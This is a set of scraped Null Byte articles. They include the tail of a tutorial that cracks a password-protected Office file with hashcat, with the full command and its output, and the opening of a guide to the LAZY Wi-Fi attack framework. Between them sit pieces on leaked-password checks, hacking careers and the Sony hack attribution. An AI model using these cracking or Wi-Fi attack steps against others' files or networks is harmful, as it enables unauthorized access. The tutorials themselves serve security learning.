menu, we will find the MS Office mode options and their corresponding numbers. We know from our hash that this is an Office 2007 file, so locate its number ID of9400.9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents 9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents 9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents 9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents 9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents 9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents 9400 | MS Office 2007 | Documents 9500 | MS Office 2010 | Documents 9600 | MS Office 2013 | DocumentsNow we can set the rest of our options using the following command.~# hashcat -a 0 -m 9400 --username -o cracked_pass.txt hash.txt /usr/share/wordlists/nmap.lstThe-aflag sets the attack type as the default straight mode of0.The-mflag specifies the mode we want to use, which we just found.The--usernameoption ignores any usernames in the hash file.We can specify the output file ascracked.txtwith the-oflag.And finally, we can pass inhash.txtwhich contains the hash, and set a word list just like we did earlier.Hashcat will then begin cracking.hashcat (v5.1.0) starting... * Device #2: Not a native Intel OpenCL runtime. Expect massive speed loss. You can use --force to override, but do not report related errors. OpenCL Platform #1: Intel(R) Corporation ======================================== * Device #1: Intel(R) Core(TM) i5 CPU M 480 @ 2.67GHz, 934/3736 MB allocatable, 4MCU ...After some time has passed, the status will show as cracked, and we are ready to view the password.Session..........: hashcat Status...........: Cracked Hash.Type........: MS Office 2007 Hash.Target......: $office$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324...2b6870 Time.Started.....: Tue Feb 5 15:08:00 2019 (4 secs) Time.Estimated...: Tue Feb 5 15:08:04 2019 (0 secs) Guess.Base.......: File (/usr/share/wordlists/nmap.lst) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 610 H/s (8.51ms) @ Accel:512 Loops:128 Thr:1 Vec:4 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 2048/5084 (40.28%) Rejected.........: 0/2048 (0.00%) Restore.Point....: 0/5084 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:49920-50000 Candidates.#1....: #!comment: ***********************IMPORTANT NMAP LICENSE TERMS************************ -> Princess Started: Tue Feb 5 15:07:50 2019 Stopped: Tue Feb 5 15:08:05 2019Simplycatout the specified output file, and it will show the hash with the plaintext password tacked on the end.~# cat cracked_pass.txt $office$*2007*20*128*16*a7c7a4eadc2d90fb22c073c6324b6b49*abc5f80409f5f96f97e184e44aacd0b7*930b0c48a7eb5e13a57af4f3030b48e9402b6870:password123Success! Now we know two methods of cracking the hash after extracting it from a password-protected Microsoft Office file with office2john.How to Defend Against CrackingWhen it comes topassword crackingof any kind, the best defense technique is to usepassword best practices. This means using unique passwords that are long and not easily guessable. It helps to utilize a combination of upper and lowercase letters, numbers, and symbols, although recent research has shown that simply usinglong phrases with high entropy is superior. Even better are long, randomly generated passwords which makes cracking them nearly impossible.In regards to this specific attack, usingMicrosoft Office 2016or2019documents or newer may not be effective, since office2john is designed to work on earlier versions of Office. However, as you can see above, Office 2016 may very well spit out a 2013 document without the user even knowing, so it doesn't mean a "new" file can't be cracked. Plus, there are still plenty of older Microsoft Office documents floating around out there, and some organizations continue to use these older versions, making this attack still very feasible today.Wrapping UpToday, we learned that password-protected Microsoft Office files are not quite as secure as one would be led to believe. We used a tool called office2john to extract the hash of a DOCX file, and then cracked that hash using John the Ripper and Hashcat. These types of files are still commonly used today, so if you come across one that has a password on it, rest easy knowing that there is a way to crack it.Don't Miss:How to Create Stronger Passwords (Advice from a Real Hacker)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byefes/PixabayRelatedHow To:Expand Your Analytical & Payload-Building Skill Set with This In-Depth Excel TrainingHow To:Create & Edit Documents Using Microsoft Office for Android & iOSHow To:The Ultimate Guide to Password-Protecting Files & Folders in Mac OS X YosemiteHack Like a Pro:How to Extract Metadata from Websites Using FOCA for WindowsHow To:Get the Galaxy S4's Polaris Office 5 to Edit Microsoft Office Docs on Your Samsung Galaxy Note 2How To:Password-Protect Files & Folders in Mac OS X (Snow Leopard)How To:Still Using Notes? Here Are 3 Better Word Processing Apps for Writing on Your iPhoneHow To:Add spreadsheet snippets in Microsoft Excel: Mac 2008Office for Mac 2016:See What's New & Try Out the Public PreviewDeal Alert:Grab This Microsoft Office Beginner's Guide for Only $35How To:Protect Word Doc with PasswordHow To:Score a Full Version of Microsoft Office for Only $10How To:Import different types of data in Microsoft ExcelHow To:Format spreadsheets in Microsoft Office ExcelHow To:Get started using Microsoft Office ExcelHow To:Count word length with the LEN function in MS ExcelHow To:Use VLOOKUP in Microsoft Office Excel 2007How To:Add comments to cells in Microsoft ExcelHow To:Concatenate in Microsoft Office ExcelHow To:Calculate averages in Microsoft Office ExcelHow To:Get Data Directly from a Paper Table into an Excel File on Your Phone with This Neat FeatureHow To:Use HLOOKUP across two worksheets in Microsoft ExcelHow To:Use the LEFT and RIGHT functions in Microsoft ExcelHow To:Prevent duplicate entries in an Excel spreadsheetHow To:Use conditional formatting in Microsoft ExcelHow To:Use nested IF statements in Microsoft Office ExcelHow To:Use simple formulae in Microsoft Office ExcelHow To:Use predefined workflows in Microsoft Office: Mac 2008How To:Concatenate in Microsoft Excel using cell referencesHow To:Use Visual Basic macros in Microsoft Excel: Mac 2008How To:Translate documents in Microsoft Office: Mac 2008How To:Use COUNTIF in Microsoft ExcelHow To:Use VLOOKUP across worksheets in MS Excel 2007How To:Use absolute ($) cell referencing in ExcelHow To:Count unique records exceeding a hurdle in MS ExcelHow To:Convert .docx format files to .doc in Microsoft OfficeHow To:Use the auto-complete feature in MS Office Excel 2007How To:Zoom in on Microsoft Office documents in Mac OS XHow To:Use the QUOTIENT and MOD functions in Microsoft ExcelHow To:Download and use clipart in Microsoft Office: Mac 2008
Have Your Passwords Ever Been Leaked Online? Find Out with PwnedList « Null Byte :: WonderHowTo
It seems like every other day there's a new security threat or data leak in the news. Whether it's yourcredit card PINor your smartphone's appsleaking your email address, no one wants their personal information out there, especially passwords. And if you use the same email address and/or password for more than one site, the effects of someone getting hold of your credentials can becatastrophic.Want to know if you've ever been the victim of a leak? There's a site calledPwnedListthat checks your email address to see if any of the accounts associated with it have been part of a leaked password list. It's the same tool that LastPass uses in itsSentryprogram to help users find out faster when their information has been compromised.It's really simple to use. Just go to thewebsiteand scroll down til you see a box where you can enter your email address. When you clickCheck, PwnedList checks your email address against its database of leaked credentials and lets you know how many times you're on the list.If the partnership with LastPass isn't enough to make you trust them, you can use ahash generatorto give a SHA-512 hash of your email address instead.If you find that you are on a list (or several), the best thing you can do is change your password. A positive result doesn't necessarily mean you've been hacked, it just means it could easily happen. If you use the same email address and password for all your accounts (which you shouldn't), you'll want to change them all immediately. For tips on coming up with a secure password, check out some of ourtutorials.Did anyone check their email on PwnedList and find a nasty surprise? Let us know in the comments.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byBGRRelatedHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)How To:Exploit Recycled Credentials with H8mail to Break into User AccountsHow To:Find Hacked Accounts Online ~ PART 1 - haveibeenpwnedNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Have Your Friends Ever Used Pandora on Your Computer? Well, You Can Steal Their PasswordsHow To:Grant Other People Access to Your Gmail Account Without Sharing Your PasswordHow To:Find Saved WiFi Passwords in WindowsHow To:iOS 14 Monitors Your Passwords to Protect You Against Data Breaches — Here's How It WorksHow To:Dashlane & LastPass Can Now Automatically Strengthen All of Your Weak PasswordsHow To:Hack Photobucket to view private photosHow To:Simply Gather Saved Passwords (Quick Tutorial)How To:Check Tire Pressure and Improve Fuel MilageHow To:Fix LAN latency and lag problems in Battlefield 3 on PCNews:Jackass Chick styleHow To:Create Strong, Safe PasswordsHow To:Create a Fake Online Identity for Website Registrations in Just One ClickMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:9 DIY Tips for Staying Toasty in the WinterNews:The Basics Of Website MarketingHow To:Carve Saved Passwords Using CainNews:Should district be allowed to demand middle-schooler's Facebook password?How To:GPU Accelerate Cracking Passwords with HashcatSneak Peak:Xbox Live's Metro User Interface (Coming in November)Leaked Bilderberg Documents:“Nationalism Is Dangerous”News:ShouldIChangeMyPassword.comNews:Day 2 Of Our New WorldNews:Nintendo 3DS motherboard leakedNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingNews:Burger CupcakesNews:Security Flaw in HTC Smartphones Leaks Your Personal Data to Certain Android AppsHow To:Encrypt Your Sensitive Files Using TrueCryptSecure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Bypass Windows and Linux PasswordsHardest Feat in Sports:The Science of a Penalty KickNews:Hello WorldHow To:Permanently Erase Data So That It Cannot be RecoveredSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftHow To:Hack Mac OS X Lion PasswordsHow to Become Anonymous Part 1:Avoid IP Leaks for the Anonymity Sake
How to Become a Hacker « Null Byte :: WonderHowTo
Many of our members here at Null Byte are aspiring hackers looking to gain skills and credentials to enter the most-valued profession of the 21st century. Hackers are being hired by IT security firms, antivirus developers, national military and espionage organizations, private detectives, and many other organizations.Presently, there is a worldwide shortage of skilled hackers andsalaries are rising rapidly. This is a great time to pursue a career in hacking—and this is a good time to discuss how to become a hacker.Education vs. ExperienceThere are many paths to entering this profession. Unlike, say medicine, where there is a single proscribed path you must take to enter the profession, the same cannot be said for hacking. Some believe that the only route to the profession is through many years of school and degrees. On the other hand, many simply launch into their skill development at an early age and continue to hone their skills over time.At this time—the end of 2015—I would say that the vast majority of professionals in this field have taken the latter route. They simply start playing with computer systems, dissecting them, figuring out how they work, and how to break them.Most have little formal education. For instance, the notoriousEdward Snowdenof NSA fame did not even graduate from high school, yet held a highly paid position at the CIA, then as a NSA contractor earning about $120,000 year. Firms want practical skills, not gaudy resumes.Image via The Guardian, via ReutersI am not trying to discourage anyone from going the formal education route (after all, that is the route I took), but it is not the ONLY route. The formal education route can be the safest route to a career in IT, but from my experience, may not be the most direct route to become a professional hacker.Most college professors and instructors have little or no experience with hacking. They have been trained in how to build systems, not break them. This means that, although they may offer a course in hacking, they don't have the mindset of a hacker. Their courses are more like trying to learn to build an airplane from someone who has only read about flying a kite.Image by Dai Sugano/Bay Area News GroupThe Hacker MindsetOne of the key traits that sets apart hackers from run-of-the mill IT folks is the "hacker mindset." This mindset is best described by four attributes:Problem solvingCommitment to freedomCreativityHelping your fellow hackerMuch has been said already here on Null Byte about helping our fellow hackers, so I won't repeat it. I will, though, re-emphasize that Null Byte is anewbie-friendly environmentfor learning hacker skills—and I intend to keep it that way. Mistreatment of those trying to learn will not be tolerated here.Hackers believe in freedom. That's why Linux and so many of the hacking tools are open source. This freedom extends beyond the software and includes freedom of the internet, freedom of information, and freedom to exchange.The hacker mindset is not limited to a single way of doing things. The hacker realizes that there many, many ways to get the same thing done. When a hurdle arises, they find a new way to bypass it. Sometimes this means using our tools in ways they were not intended, and sometimes it means creating our own tools. To use an overused cliché—don't be boxed in by others' ways of doing things. Think outside the box!Problem-SolvingThe hacker must be aproblem solver. This skill comes from repeatedly solving problems without asking someone else to solve it for you. Although it may be easier to Google for the solution, or ask someone with more experience, this will bypass the process of learning how to break down problems into manageable units and solve each one analytically.ALL hackers have this skill. Without it, you will doomed to frustration and mediocrity. It's okay to ask for help when you are stuck, and our Null Byte community is a great place to ask as there so many knowledgeable and helpful hackers here, but problem-solving is a skill that is only developed and strengthened by practice.You might be able to ask and get a quick answer here, but if you solve it yourself, you will be strengthening your analytical and problem-solving skills that will not only serve you well as a hacker, but in all endeavors of life.PersistenceGoing hand in hand with the problem-solving skills is persistence. When faced with a hurdle or problem, the true hacker does not throw up their hands and quit, rather they persist until they create a solution. Sometimes those solutions may takes hours or days or weeks or months, but the hacker doesn't quit. They are confident that eventually they can crack the problem, and in the meantime, their persistence is yielding new knowledge and strengthening their very valuable problem-solving skills.Basics BackgroundThe hackermust have some basic skillsof the IT field. These would includeLinux basicsandnetworking basics—at a minimum. To be capable of writing your own scripts, you need basicBASH scriptingand preferably one of the following scripting languages:Perl,Python, or Ruby.To delve deeper into exploit development, knowledge of assembler andCis required. If you want toattack databases, SQL knowledge is required. When attacking websites, a whole host of web languages is useful.In many cases, it's useful to learn how to build something before you try to hack it. For instance, once you have built a web app, then its easier to understandhow to hack them. This isn't required, but some people find it a better route. There are some hackers who are incapable of building anything as their mindset is one of finding flaws and breaking things.Image viaSon Kook-heeHacker Skills SetThe hacker must develop some hacker-specific skills. As mentioned above, they have a knowledge of networking and Linux, but then must build upon that knowledge by becoming conversant in one of the hacker operating systems, such asKali, and some of the more widely used tools, such as:MetasploitNmapHping3WiresharkBeEFAircrack-ngSnortCain & AbelBurp SuiteNiktoNessus,Nexpose, or OpenVasSysinternalsSqlmapDsniffSplunkTamper Datap0fA goodpassword cracker, such as John the Ripper orHashcat, or any number of otherpassword-cracking toolsAlthough this not an exhaustive list, I believe these to be the most important tools for the aspiring hacker to master.Choose a FocusThe world of information technology is vast. There are so many technologies and languages and no one can master them all. If you try, you will likely be stuck in a superficial understanding of all of them without the deep enough knowledge to master any. The same applies to hacking. Choose an area to focus your efforts in and master it. Once you have mastered that one, then look to master another. No one masters them all—and definitely not at the same time.Attempts to master all of the IT skills, and thereby hacking skills, will only lead to frustration and mediocrity.CertficationsThe IT industry, in general, and the hacking industry, in particular, like to see certifications. The reason for this is that certifications tend to be skill-specific, while degrees tend to be broad and theoretical. For someone trying to enter this field, the certifications are a surefire way to impress a prospective employer.As a starting point, I suggest theCompTIAcertifications such Security+, Network+, and A+. These vendor-neutral certifications will provide you the fundamental skill sets necessary to advance to the next level.Then I would suggest a hacking certification. TheCertified Ethical Hacker (CEH)is the grand daddy of ethical hacking certifications, but it is not held in high regard in the industry. That is why we will be offeringour own certifications (CWA, CWE, and CWP)beginning in January 2016.For those with advanced skills, there is theGIAC Penetration Tester (GPEN) certificationand theOffensive Security Certified Professional (OSCP) certification. Both are well regarded in the industry, and they require hands-on skills to pass, unlike the CEH.The growth of the IT security field and hacking have made this a prime time to study hacking. This growth and the concomitant demand for hackers will likely continue for many years into the future, making this career path a bright one for those with the aptitude and work ethic to study hacking.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Keeping Your Hacking Identity Secret: How to Become a Ghost Hacker #3How To:Keeping Your Hacking Identity Secret: How to Become a Ghost Hacker #4A Hackers Advice & Tip:Choosing Your Path. Knowing Where to Learn & How to Learn It **Newbies Please Read**News:8 Tips for Creating Strong, Unbreakable PasswordsHow To:The Essential Skills to Becoming a Master HackerWhite Hat Hacking:Hack the Pentagon?How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleTypoGuy Explaining Anonymity:A Hackers MindsetNews:How to Study for the White Hat Hacker Associate Certification (CWA)Become an Elite Hacker, Part 1:Getting StartedNews:Can We Hack the Hackers?How To:ALL-in-ONE HACKING GUIDEHow To:Why You Should Study to Be a HackerNews:Have an NFC-Enable Phone? This Hack Could Hijack ItNews:What Are the Motivation Things You Do or Read to Become a Hacker?News:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:Student Sentenced to 8mo. in Jail for Hacking FacebookCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingNews:TOON BUILDSHow To:Conceal a USB Flash Drive in Everyday ItemsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Secure Your Computer with Norton DNSHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Indie and Mainstream Online Games Shut Down by LulzSecRIP:ScroogleNews:Symantec Source Code Released by Anon After Failed Negotiations
Advice from a Real Hacker: Why I'm Skeptical That North Korea Hacked Sony « Null Byte :: WonderHowTo
Seldom in recent history has a cyber security event caused so much media stir (maybe because it happened to a media company?) and international relations upheaval. Cyber security breaches seem to take place daily of major corporations, but the Sony hack seems to have captured the American imagination and, for that matter, the whole world's attention.Maybe it was the salacious details in the released emails of the interaction between the studio and its stars. Or, maybe it was the American public's feelings of being wronged by a petty dictator. Whatever the reason, the Sony hack has captured the fancy and attention of the public like none other.Soon after the hack, the FBI "conclusively" determined that the attack came from North Koreans and reported to the President and the American public as such. For my part, I have many reservations about that conclusion.Last week, I wrote aboutmy observations on the Sony hack, and in that article, I simply recounted the thoughts that had bounced around my head. Now that I have had more time to examine the evidence and congeal my assessment, I feel compelled to tell you that I haveseriousdoubts that this hack was committed by North Korea. Probably, more accurately, I have serious doubts that the evidence the FBI has cited points to North Korea.Let me tell you why.There Was No Immediate North Korean ConnectionThe hacker group, "Guardians of Peace," made no reference to the movieThe Interviewor North Korea, initially. Only after the media began to speculate that the motive of the attacker was regarding the movie did the hackers mention it. It appears that the attackers were happy to deflect the investigation away from themselves.If you were the hacker and everyone wanted to blame North Korea instead of you, wouldn't you be smart to run with that scenario?The Evidence Was CircumstantialAs I mentioned inmy earlier article, in most of these types of cases, the fingerprint of the hacker is found through examining the malware. This "fingerprint" is only circumstantial evidence, meaning that it is far from conclusive, but it caninferthe identity of the attacker. It examines the pieces and modules of the malware and attempts to trace it backward to the perpetrator. In essence, it looks for re-used code and who may have used it in the past to infer who last used it. Imperfect at best, inconclusive at worst.According tothe FBI report:"Technical analysis of the data deletion malware used in this attack revealed links to other malware that the FBI knows North Korean actors previously developed. For example, there were similarities in specific lines of code, encryption algorithms, data deletion methods, and compromised networks."Separately, the tools used in the SPE attack have similarities to a cyber attack in March of last year against South Korean banks and media outlets, which was carried out by North Korea."The modules that the FBI cites in their report could have been used byanyone. They cite the use ofthe Shamoon attackthat was used against Saudi Arabia in 2012 and South Korea in 2013 and has been available on the malware black market to any hacker for the last two years. Just because a piece of malware was used in similar hacks, it in no way means that the attackers were the same. Any hacker could have acquired this malware in the last two years and used it in this security breach at Sony.They Cited Well-Known Proxy IP AddressesThe FBI cites cites numerous IP addresses that the attackers used in their attacks on Sony. They note that other attacks that have been traced back to North Korea also have used these same IP addresses. When one examines these IP addresses, you find that they are the IP addresses of well-used proxies that many attackers use.Fromthe FBI report:"The FBI also observed significant overlap between the infrastructure used in this attack and other malicious cyber activity the U.S. government has previously linked directly to North Korea. For example, the FBI discovered that several Internet protocol (IP) addresses associated with known North Korean infrastructure communicated with IP addresses that were hardcoded into the data deletion malware used in this attack."They cite several IP addresses that the attackers used. These include:202.131.222.102 in Thailand217.96.33.164 in Poland88.53.215.64 in Italy200.87.126.116 in Bolivia58.185.154.99 in Singapore212.31.102.100 in CyprusThese IP addresses belong to well-known proxies (as discussed in this article) that any attacker could and will use to attack a target. Far from conclusive evidence that North Korea was involved.The Speed of the File Transfer Was FastInmy earlier article, I puzzled over the speed by which the attackers were able to transfer 100TB of data. Given the poor Internet architecture of North Korea, such a download would have taken weeks. One has to conclude that the attack took place from a location outside of North Korea.Even if the attack originated from outside of North Korea, moving 100TB is no trivial task. If you've ever downloaded a large file, say a 2GB movie or 4GB operating system, you know that it can take hours. Now, imagine moving files 5,000 times larger! Either the hacker had a very high-speed connection to Sony, the Sony security apparatus was asleep at the wheel, or the hack was an inside job.The Language Clues Point Toward Another CountryThe cyber security firm, Taia Global based in Israel, conducteda linguistic analysisof the attackers language and syntax. Often, when one language is translated to another, the translator will use syntax and constructs that are part of their native language, but not in the target language. That is why poor translations can sound so stilted. This can provide clues as to the language of the original document or the translator or both.Taia reportedly tested the translations for clues from the following languages:MandarinChineseRussianGermanKoreanThey concluded that translation was not from an original written in Korean, but most probably, Russian.Evidence Supports a Possible Inside JobAnother cyber security firm, Norse, has donean investigationbased upon Sony's employee records that were released by the hackers. Norse used some good old detective work to scan the leaked documents and search for employees who might have had motive to hack Sony, access to the system, and technical expertise to pull it off.After reviewing these records, they claim that they have identified six individuals whom they think might have been involved in the hack. The individuals identified were based in the U.S., Canada, Thailand, and Singapore. One of these employees, code named Leena, was laid off in May and was involved a technical role with Sony before being let go.Several of these employees expressed resentment on social media toward Sony for their dismissal.The Daily Callerreported:"After examining intercepted communications of other individuals engaged in contact with hacker and hacktivist groups in Europe and Asia (where the Sony hack was routed through), Norse connected one of those individuals with the Sony employee on a server that featured the earliest-known version of the malware used against Sony."So, Did North Korea Really Pull This Off?For all of the reasons above, I amveryskeptical of the conclusion that North Korea hacked Sony. All of the evidence cited by the FBI is inconclusive and cannot be used to point the finger to any one nation or individual. Some of the evidence cited by the FBI is sophomoric—even laughably so—as a grounds for pointing a finger at North Korea. I do, however, withhold judgement as they or the NSA may have evidence that they are not sharing, but what they are sharing is inconclusive, at best.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via1000 Words/ShutterstockRelatedThe Sony Hack:Thoughts & Observations from a Real HackerHow To:Watch Sony's "The Interview" Right Now (Update: Now on Netflix)Market Reality:As the HoloLens 2 Arrives, Magic Leap Aligns with SK Telecom & CNNNews:A Brief History of HackingHow To:Dashlane & LastPass Can Now Automatically Strengthen All of Your Weak PasswordsNews:'Turkish Crime Family' Demands $75,000 in Bitcoin from Apple in Exchange for Hacked iPhone AccountsHow To:Get Sony's Feature-Packed Xperia Keyboard on Any Android DeviceNews:Apple Says iPhone & iCloud Are Safe After Claimed Breach by 'Turkish Crime Family'White Hat Hacking:Hack the Pentagon?TypoGuy Explaining Anonymity:A Hackers MindsetHow To:Keeping Your Hacking Identity SecretHow To:Install Sony's Newest Album & Walkman Apps on Almost Any AndroidNews:North Korea, the ultimate underdogHow To:How Hackers Take Your Encrypted Passwords & Crack ThemGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Unbrick your Sony PSP Fat or SlimFirst Round:What really grinds my gears.News:Movie Posters from KoreaPhoto Critique:Covers - 4/7/10News:South American teams doing great.News:How'd North Korean Fans Get to the Games?Community Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Student Sentenced to 8mo. in Jail for Hacking FacebookCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:Japan Nuclear Update New Images of The PlantHow to Play Homefront:The Controversial, Dystopian War Game by THQCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsFIFA World Cup 2010:How I'll be watchingCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:Special Edition Gold PS3 'Ni No Kuni' Bundle -- Another Reason to Move to JapanNews:Next Professor Layton Game to Include 100-Hour Long Bonus RPGNews:Until Project Rainfall Succeeds, We Must Hack the Wii for Xenoblade Chronicles in North AmericaNews:NAB 2010 - Sony's Digital RED ONE competitor prototypeNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:Indie and Mainstream Online Games Shut Down by LulzSecNews:Teacher Yells at Student Over Obama CriticismWTFoto Image Macro Challenge:Give Us Your Best Hobo Advice!News:North Korean Broadcast of Game vs Brazil
Listeners « Null Byte :: WonderHowTo
No content found.
How to Hack Wi-Fi & Networks More Easily with Lazy Script « Null Byte :: WonderHowTo
Wi-Fi tools keep getting more and more accessible to beginners, and the LAZY script is a framework of serious penetration tools that can be explored easily from within it. This powerful and simple tool can be used for everything from installing new add-ons to grabbing a WPA handshake in a matter of seconds. Plus, it's easy to install, set up, and utilize.Attack FrameworksMost new Wi-Fi hacking tools rely on many of the same underlying attacks, and scripts that automate using other more familiar tools likeAireplay-ngare often referred to as frameworks. These frameworks try to organize tools in smart or useful ways to take them a step beyond the functionality or usability of the original program.An excellent example of this are programs that integrate scanning tools likeAirodump-ng, attacks likeWPS Pixie-Dust, and cracking tools likeAircrack-ngto create an easy-to-follow attack chain for beginners. Doing this makes the process of using these tools easier to remember and can be seen as sort of a guided tour. While each of these attacks is possible without the hand-holding, the result can be faster or more convenient than trying to do so yourself.An example of this we've covered is theAirgeddonframework, awireless attack frameworkthat does useful things like automating the target selection process and eliminating the time a user spends copying and pasting information between programs. This saves valuable time for even experienced pentesters but has the disadvantage of preventing beginners from understanding what's happening "under the hood" of the attack. While this is true, most of these frameworks are fast, efficient, and dead simple to use, enabling even beginners to take on and disable an entire network.Don't Miss:Crack Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSUX/UI Improvements for BeginnersI'll be going through a new script that attempts to create a friendlier way for beginners to start using some of the best and most reliable hacking techniques. While the script is designed to be as "lazy" as possible by requiring a minimum of user interaction, it's also useful and powerful for beginners or experienced users looking to blast through a penetration test quickly.The focus in attack frameworks is to anticipate better what the hacker will be trying to do and pull together the necessary tools to execute the attack with a minimum of interaction from the user. In this way, the user interface and experience become the primary goal, and the script has the purpose of anticipating the tools and tactics a penetration tester would need quick access to in the field.The LAZY script starts by merely typing the letterlinto a terminal window, then it asks for the name of your network interfaces after the first run. It uses the names you supply to connect to the tools needed to execute any attacks you select. Aside from that initial input, the majority of the possible attacks can be performed merely by choosing the option number from the menu. This means you can grab a network handshake or download a new hacking tool likePupyby just selecting from one of the menu options.Don't Miss:How to Use Pupy, a Linux Remote Access ToolExtending Usability & Curating ApplicationsThe benefit of the LAZY script is that it was built with penetration testers in mind. This means it's essentially a guided tour through some of the best and most potent scripts available today. Some of the most easily accessible menu options include quick access to networking information like the gateway IP (usually the router), your IP address, MAC address, and a scan function that executes anARP scanto reveal all other devices on the network.The primary sub-menus are also broken down by functions a pentester would want easy access to. The general focus is handshakes, WPS PIN attacks, WEP attacks,MitM attacks, and theMetasploit Framework.Anonsurfis also included for analyzing internet traffic, andsocial engineering attackslike email spoofing are provided. If you see a tool in red, it means you don't have it yet. To get it, you can select it and typeinstall, and the script will do it for you.Tool is not installed. To install it type 'install'. install Installing Dagon Tool by Ekultek Cloning into 'dagon'... remote: Counting objects: 1236, done. remote: Total 1236 (delta 0), reused 0 (delta 0), pack-reused 1235 Receiving objects: 100% (1236/1236), 319.35 KiB | 1.76 MiB/s, done. Resolving deltas: 100% (666/666), done. Collecting pysha3==1.0.2 (from -r requirements.txt (line 1)) Downloading https://files.pythonhosted.org/packages/c5/bb/7d793dfab828e01adb46e3c5976fe99acda12a954c728427cceb2acd7ee9/pysha3-1.0.2-cp27-cp27mu-manylinux1_x86_64.whl (127kB) 100% |██████████████████████████████| 133kB 1.5MB/s Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line2)) Collecting colorlog==2.10.0 (from -r requirements.tx (line 3)) Downloading https://files.pythonhosted.org/packages/61/ff/d6337d488739c1a7ade37f736880e44717bcb0e7cea178c17774a4a93700/colorlog-2.10.0-py2.py3-none-any.whl Requirement already satisfied: passlib=1.7.1 in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line4)) Collecting bcrypt==3.1.3 (from -r requirements.txt (line 5)) Downloading https://files.pythonhosted.org/packages/a6/da/5d7ac371b4c9a8ac9e8ea62cff7c090e9d7d7b7ea3f2ad8b8c8da65db058/bcrypt-3.1.3-cp27-cp27mu-manylinux1_x86_64.whl (57kB) 100% |██████████████████████████████| 61kB 9.9MB/s Requirement already satisfied: six>=1.4.1 in /usr/lib/python2.7/dist-packages (from bcrypt==3.1.3->-r requirements.txt (line 5)) Collecting cffi>=1.1 (from bcrypt==3.1.3->-r requirements.txt (line 5)) Downloading https://files.pythonhosted.org/packages/14/dd/3e7a1e1280e7d767bd3fa15791759c91ec19058ebe31217fe66f3e9a8c49/cffi-1.11.5-cp27-cp27mu-manylinux1_x86_64.whl (407kB) 100% |██████████████████████████████| 409kB 2.1MB/s Collecting pycparser (from cffi>=1.1->bcrypt==3.1.3->-r requirements.txt (line 5)) Downloading https://files.pythonhosted.org/packages/8c/2d/aad7f16146f4197a11f8e91fb81df177adcc2073d36a17b1491fd09df6ed/pycparser-2.18.tar.gz (245kB) 100% |██████████████████████████████| 256kB 2.8MB/s Building wheels for collected packages: pycparserStep 1: Update Kali LinuxTo use the LAZY script, you'll need a fully updated version ofKali Linux. The script comes with a very helpful installer script, and I was able to set it up on both a laptop running Kali as its primary OS and a virtual machine with no problems.If your Kali system is fully updated, you can generally expect a pretty 